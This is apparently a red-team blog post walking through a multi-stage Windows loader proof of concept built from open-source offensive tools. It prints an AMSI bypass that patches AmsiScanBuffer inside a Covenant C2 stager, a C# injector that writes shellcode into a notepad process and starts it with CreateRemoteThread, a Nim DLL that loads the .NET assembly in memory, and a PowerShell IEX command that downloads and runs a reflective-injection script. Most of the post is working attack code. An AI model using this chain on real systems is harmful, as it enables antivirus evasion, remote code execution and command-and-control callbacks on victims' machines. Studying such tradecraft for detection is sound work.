[ENG] Creating a loader PoC using various languages


There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding offensive security tradecraft. All of the content and code in this article is public, and could be found on the internet. All of the code in this article is a mere PoC quality code that really can’t be used in the real world. All of the credit goes to the original authors; their handles are listed in the Overview section of this article.


After reading an awesome blog post by @NotoriousRebel, OffensiveNim github repo by @byt3bl33d3r, and a bunch of other offensive security tradecraft blog posts, I was amazed by how different languages/assemblies/PE binaries can be used together. Real world attackers are also diversifying their tradecraft, by implementing various languages/frameworks such as powershell, golang, python, and .NET. To further study this tradecraft diversifying trend(?), I wanted to create a PoC that shows interoperability between different components. The following post will create a loader PoC using Invoke-ReflectivePEInjection, Nim-lang, C# (with DInvoke), and Donut.

Since this PoC was created to show interoperability, opsec is not considered. The PoC spawns doesn’t encrypt shellcode, doesn’t obfuscate .NET assemblies, contains shellcode inside the stager, uses traditional process injection method like CreateRemoteThread, and also spawns a notepad process. Any functioning EDR solution and/or AV products will catch this PoC, except for Windows Defender. But then again, detection evasion is not the main topic here.

In short, this is something that I thought “wait is this possible?” and then found “damn this is actually possible”. Thus the quality of PoC and opsec potential is horrible.


This PoC will use Invoke-ReflectivePEInjection.ps1 to inject a DLL created from Nim-lang, which then loads .NET assembly in-memory, which then spawns a notepad process and then injects a shellcode created with Donut. All of the components utilize open-source tools and scripts made by great researchers in the field; I just modified them a little.

Let’s start from the shellcode and work ourselves backward all the way.


Shellcode for this PoC will be C2 framework Covenant’s (Dev branch) Grunt HTTP stager code. This stager code is written in C#, but with theWover’s Donut project, we can turn this into a position independent code - shellcode. Donut has been recently implemented inside Covenant, so we don’t need to download and run donut .

The only modification we’ll apply to the Grunt stager code is .NET AMSI bypass that xpn and Rastamouse found/created.

If you don’t want to go through the trouble of installing Covenant, you can use whatever shellcode you want. As long as it’s a shellcode, it’s good to go.

Credit: @cobbr’s Covenant + @theWover’s Donut

@xpn & @Rastamouse - AMSIScanBuffer patch

.NET Assembly

First part used for injecting the shellcode above is a typical .NET assembly. For this, we will spawn a notepad process (NOT opsec safe, but again, detection evasion is not the focus here), and then use the traditional CreateRemoteThread for process injection. Instead of using PInvoke, the DInvoke library from theWover will be used to call winAPI.

Credit: @theWover’s DInvoke library

Windows DLL

Second part used to load the .NET Assembly in-memory is a DLL created with Nim-lang. For this, byt3bl33d3r’s offensive Nim template - specifically, execute_assembly_bin.nim is used. To convert .NET assembly to nimbytearray, CSharptoNimByteArray by @s3cur3th1ssh1t will be used.

Credit: @byt3bl33d3r’s OffensiveNim repo & @S3cur3Th1sSh1t’s CSharptoNimByteArray


Finally, the DLL will be reflectively injected through Invoke-ReflectivePEInjection powershell script. This was originally created in PowerSploit project and was recently updated by BC-Security.

Credit: @JosephBialek’s Invoke-ReflectivePEInjection & @BCSecurity’s updated version


To bypass .NET Amsi, the original HTTP Grunt template needs to be modified. For AMSI bypass, AmsiScanBuffer patch found/created by XPN and Rastamouse will be used.

Go to Covenant → Template → Create. And change the options to the following.

Copy/Paste Stager AND Executor code from HTTP Grunt template. Then, we’ll only patch first part the Stager code to the following. You can simply copy/paste the below code right before List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList(); of the stager code.

The entire HTTPGruntAmsiBypass stager code for Covenant "dev" branch can be found in this gist.

using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.Runtime.InteropServices;   // For PInvoke 

namespace GruntStager
    // Setting up for Pinvoke - Potentially use DInvoke later? 
    public class Win32
        public static extern IntPtr LoadLibrary(string name);
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public class GruntStager
        // <----------- AMSI Bypass from RastaMouse ----------->

        // https://twitter.com/_xpn_/status/1170852932650262530 - Adding dummy 0x90 bytes to bypass string detection 
        static byte[] x64 = new byte[] { 0xB8, 0x90, 0x57, 0x90, 0x00, 0x07, 0x80, 0xC3 };
        static byte[] x86 = new byte[] { 0xB8, 0x90, 0x57, 0x00, 0x07, 0x90, 0x80, 0xC2, 0x18, 0x00 };

        // https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs
        private static void PatchAmsi(byte[] patch)
                var lib = Win32.LoadLibrary("amsi.dll");
                var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");

                uint oldProtect;
                Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

                Marshal.Copy(patch, 0, addr, patch.Length);
            catch (Exception e)
                Console.WriteLine(" [x] {0}", e.Message);

        private static bool is64Bit()
            bool is64Bit = true;

            if (IntPtr.Size == 4)
                is64Bit = false;

            return is64Bit;
        public static void Bypass()
            if (is64Bit())
        //  <----------- AMSI Bypass Done ----------->
        public GruntStager()
        public static void Main(string[] args)
            new GruntStager();
        public static void Execute()
            new GruntStager();
        public void ExecuteStager()
                // Removing dummy 0x90 bytes from AMSI byte array above 
                var x64List = new List<byte>(x64);
                x64List.RemoveAll(b => b == 0x90);
                byte[] x64Array = x64List.ToArray();

                var x86List = new List<byte>(x86);
                x86List.RemoveAll(b => b == 0x90);
                byte[] x86Array = x86List.ToArray();

                // Bypass Amsi 
		// <--------- Rest of the stager code is the same -----------> 

The only code that’s added is the AmsiScanBuffer related code from Rastamouse. Rest of the Grunt Stager code is the same. The only modification is adding and removing 0x90 bytes to bypass some byte array detection.  

After patching the stager code, create the shellcode for this Grunt template using the Covenant’s Launcher tab. Covenant will use Donut under the hood to create the shellcode. If you are not using the dev branch, you can simply download donut and then run your grunt assembly through it.

Now you can base64 this shellcode, or simply copy/paste the shellcode from the following directory.



We’ll use this base64’ed shellcode in the next stage.

.NET Assembly

For .NET Assembly, a simple stageless injector using DInvoke will be used. You can use PInvoke, but I just wanted to use DInvoke library. Install DInvoke, Fody, and Costura through Nuget. If you are feeling lazy, just use PInvoke.

For opsec, instead of going stageless, obtaining the encrypted shellcode from the C2 through webclient.downloaddata(), and then decrypting it would be better. Utilizing different process injection instead of traditional CreateRemoteThread and using direct syscall from DInvoke will be better.

But for now, let’s keep things simple.

The entire source code can be found in this gist as well.

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using DynamicInvoke = DInvoke.DynamicInvoke;

// Install DInvoke, Fody, and Costura Fody through Nuget 

namespace stagezero
    class Program
        static void Main(string[] args)
            // Covenant saves base64 shellcode launcher in opt/Covenant/Covenant/Data/Temp/<grunt_profile>.bin.b64  
            // Simply `xclip -selection c < opt/Covenant/Covenant/Data/Temp/GruntHTTP.bin.b64` and we are good to go! 
            string gruntx64 = "<your_grunt_base64_shellcode>";
            // Or you can just use a messagebox shellcode - msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="hello world" -f csharp 
            // or w/e shellcode you like 
            byte[] sc = Convert.FromBase64String(gruntx64);

            var process = Process.Start("C:\\Windows\\System32\\notepad.exe");
            var pid = (uint)process.Id;
            Console.WriteLine("[+] Notepad pid: " + pid);

            IntPtr procHandle = DynamicInvoke.Native.NtOpenProcess(pid, DInvoke.Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS);
            Console.WriteLine("[+] NtOpenProcess - Opening notepad processs");

            IntPtr baseAddr = IntPtr.Zero;
            IntPtr regionSize = (IntPtr)sc.Length;
            IntPtr alloc = DynamicInvoke.Native.NtAllocateVirtualMemory(procHandle, ref baseAddr, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04);
            Console.WriteLine("[+] NtAllocateVirtualMemory - Allocating memory: " + regionSize + " bytes");

            uint ntWVMemory = DynamicInvoke.Native.NtWriteVirtualMemory(procHandle, alloc, Marshal.UnsafeAddrOfPinnedArrayElement(sc, 0), (uint)sc.Length);
            Console.WriteLine("[+] NtWriteVirtualMemory - Writing shellcode to notepad.exe: 0x" + alloc.ToInt64().ToString("x2"));

            var ntPVMemory = DynamicInvoke.Native.NtProtectVirtualMemory(procHandle, ref alloc, ref regionSize, (uint)0x20);
            Console.WriteLine("[+] NtProtectVirtualMemory - Changing permission to RX");

            var pCreateRemoteThread = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
            IntPtr threadId = IntPtr.Zero;
            var crtResult = DInvoke.DynamicInvoke.Win32.CreateRemoteThread(procHandle, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, ref threadId);
            Console.WriteLine("[+] CreateRemoteThread - Starting shellcode...\n\n");


Compile the .NET assembly, and use @s3cur3th1ssh1t ‘s CSharptoNimByteArray to convert .NET assembly to nim byte array.

Now we have a .NET assembly that can be loaded inside nim lang’s memory. On to the next stage!

Windows DLL

Execute_assembly_bin.nim template from Byt3bl33d3r’s OffensiveNim repo will be used. Instead of using DLL_PROCESS_ATTACH, we’ll create an exported function VoidFunc() to trigger our code. This is because Invoke-ReflectivePEInjection requires the target DLL to have an exported function with the name VoidFunc.

“The function name expected in the DLL for the prewritten FuncReturnType's is as follows: WString : WStringFunc String : StringFunc Void : VoidFunc” - from Invoke-ReflectivePEInjection’s README

So with the nim byte array created from the previous stage, let’s modify the execute_assembly_bin template.

The entire source code can be found in this gist as well.

import winim/clr
import winim/lean
import sugar
import strformat

< your nim byte array from CSharptoNimByteArray > 

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =

  return true

# This exported function is going to be triggered. Name VoidFunc came from Invoke-ReflectivePEInjection's README.
proc VoidFunc() : void {.stdcall,exportc,dynlib.} = 
    # Always have this at exported functions that's being used - or the process explodes! (according to byt3bl33d3r)

    for v in clrVersions():
        echo fmt"    \--- {v}"
    echo "\n"

    var assembly = load(buf)
    dump assembly

    var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
    assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

To compile this nim-lang code into a Windows DLL, byt3bl33d3r already provided us the compiler flag in the OffensiveNim repo.

nim c -d=mingw -d:danger -d:strip --opt:size --app=lib --nomain --cpu=amd64 --passL:-Wl,--dynamicbase .\execute_assembly_bin.nim

Now we have a dll to use for Invoke-ReflectivePEInjection. Host this dll any way you want (upload to Covenant, run python -m http.server, w/e).


For Invoke-ReflectivePEInjection, we’ll simply use BC-Security’s updated version of the script (https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/management/Invoke-ReflectivePEInjection.ps1).

Putting it all together

From Powershell

PoC was tested under Windows 10 ver. 20H2 with Windows Defender.

For basic PoC execution, we can patch AMSI using Rastamouse’s AmsiScanBufferBypass, import Invoke-ReflectivePEInjection, and then just run the DLL using Invoke-ReflectivePEInjection.

<AMSI Bypass>

// Import BCSecurity's Invoke-ReflectivePEInjection.ps1 
IEX (New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/management/Invoke-ReflectivePEInjection.ps1");

// Ofcourse change your ip/port
Invoke-ReflectivePEInjection -PEurl -funcreturntype void

From a Grunt

Another scenario is running the PoC from a grunt that is already running in the target system. In this scenario, it would make more sense if our shellcode is a post-exploitation tool like Rubeus or Seatbelt, but we’ll just stick to grunt shellcode for now.

Since we already have a grunt running, we can use Covenant’s BypassAmsi module to patch the current grunt’s powershell process.

After AMSI is bypassed, we can import Invoke-ReflectivePEInjection module inside grunt’s powershell session with PowershellImport command.

Host your windows DLL and call it through Invoke-ReflectivePEInjection inside the grunt.

Powershell Invoke-ReflectivePEInjection -PEurl -funcreturntype void

And you should be able to see a grunt calling back.


Interestingly enough, this unencrypted, unobfuscated, "debug" mode compiled PoC gets a low detection rate from virustotal. Ofcourse, behavioral-wise, as soon as it executes any functioning EDR/AV solutions will catch it.



And there we have it, we created and executed a PoC using 3 different languages and a shellcode converted from C#. Although this is not a practical PoC, it helped me to learn that the offensive security tradecraft is getting diversified. It’s also possible to intertwine different binaries compiled from different languages. In order to keep up with the trend, we also need to diversify our skills to create, detect, and remove these.

Happy hacking!


Implant Roulette Part 1: Nimplant
The first in a new series looking at what Nim brings to the table for red team tool development.
My experiments in weaponizing Nim (https://nim-lang.org/) - byt3bl33d3r/OffensiveNim
Dynamically invoke arbitrary unmanaged code from managed code without PInvoke. - TheWover/DInvoke
Circumvent AMSI by patching AmsiScanBuffer. Contribute to rasta-mouse/AmsiScanBufferBypass development by creating an account on GitHub.
Covenant is a collaborative .NET C2 framework for red teamers. - cobbr/Covenant
Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters - TheWover/donut
Bypassing Windows protection mechanisms & Playing with OffensiveNim | S3cur3Th1sSh1t
In this post I’m telling a short story from an environment I faced some time ago and how to handle the situation bypassing Constrained Language Mode and Appl...
Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks)
TLDR: Presenting DInvoke, a new API in SharpSploit that acts as a dynamic replacement for PInvoke. Using it, we show how to dynamically invoke unmanaged code from memory or disk while avoiding API Hooking and suspicious imports.




Show Comments